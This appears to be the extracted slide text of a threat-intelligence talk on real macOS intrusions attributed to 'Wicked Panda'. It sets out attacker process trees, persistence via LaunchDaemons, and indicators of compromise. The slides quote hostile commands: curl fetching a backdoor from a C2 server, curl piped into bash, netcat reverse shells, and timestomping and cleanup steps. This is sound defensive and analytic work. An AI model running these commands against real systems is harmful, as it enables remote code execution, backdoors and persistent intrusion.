Macdoored: A First Look Into Real-World Macos Intrusions
Macdoored: A First Look Into Real-World Macos Intrusions
4 Attacker Intrusions
5 Wrap- up
Sudoers File
launchd jamf bash vim
Modified
Sudoers File
launchd /var/tmp/a bash vim
Modified
DETECTION/ANALYSIS DIFFICULTIES
§ All the commands an attacker could ever need are on the system
§ Admin and Attacker activity can look like the same thing
Attacker
Activity
Attacker
launchd sshd bash
Activity
Attacker
Activity
sw_vers
system_profiler
dscl . -list /Users
launchd sshd bash ping –c1 <system>
dig <host>
dns-sd –B <service>
BACKDOOR
BACKDOOR INSTALLATION
curl -O hxxp://61.78.62.21:8080/Tssd
chmod +x Tssd
mv /var/tmp/Tssd rutil
launchd sshd bash touch -r r2util rutil
ls -la /usr/local/bin/rutil
vim /etc/.cache
System 1
launchd sshd bash curl -O hxxp://61.78.62.21:8080/Tssd
System 2
System 3
WICKED PANDA
CURL ALL THE THINGS
curl -O hxxp://61.78.62.21:8080/1.txt -o /var/tmp/1.txt
curl hxxp://61.78.62.21:8080/5.txt%20|%20bash
curl hxxp://61.78.62.21:8080/5.txt%20|%20bash
curl hxxp://61.78.62.21:8080/5.txt%7cbash
curl hxxp://61.78.62.21:8080/x
QUICK HUNTING NOTE
curl
PID = 2
PGID = 2
bash
PID = 4
PGID = 2
WHOOPS…
nc 61.78.62.21 53 -e /bin/sh
nc -e /bin/sh 61.78.62.21 53
nc --e /bin/sh 61.78.62.21 53
Root Level
/Library/LaunchDaemons
/Library/LaunchAgents
User Level
/Users/$USER/Library/LaunchDaemons
/Users/$USER/Library/LaunchAgents
PERSISTENCE
vim
/Library/LaunchDaemons/com.apple.xsprinter.plist
touch /usr/bin/x
rm –rf /usr/bin/x
uname -an
launchd sshd bash system_profiler SPHardwareDataYpe
system_profiler SPHardwareDataType
/usr/sbin/system_profiler -nospawn -
xml SPHardwareDataType -detailLevel
full
YOSEMITE PERSISTENCE
/System/Library/LaunchDaemons/com.apple.xsprinter.plist
launchctl load -w
/System/Library/LaunchDaemons/com.apple.xsprinter.plist
PERSISTENCE PIGGYBACKING
CLEANUP
MINOR STEALTH
61.78.62.21
rm /tmp/x
§ Backdoor
§ 8029e7b12742d67fe13fcd53953e6b03ca4fa09b1d5755f8f8289eac08366efc
§ a5f7b13d0f259277e40e3711070121e451415d7d3a5e68382fc82c2fe3635db1
§ 5b0cc5dd2897e697751b8204d8b74edd66466d651d233c76899c5521a60f6527
§ IPs
§ 61.78.62[.]21 (C2)
WICKED PANDAS?
chmod +x
softwareupdated
./softwareupdated
launchd sshd bash
curl -o asd
45.77.129.251:11/asd
mv asd /Library/LaunchDaemons/local.localhost.startup.plist
perl
EXFIL curl -o update
45.77.129.251:11/asd
chmod +x update
§ Questions?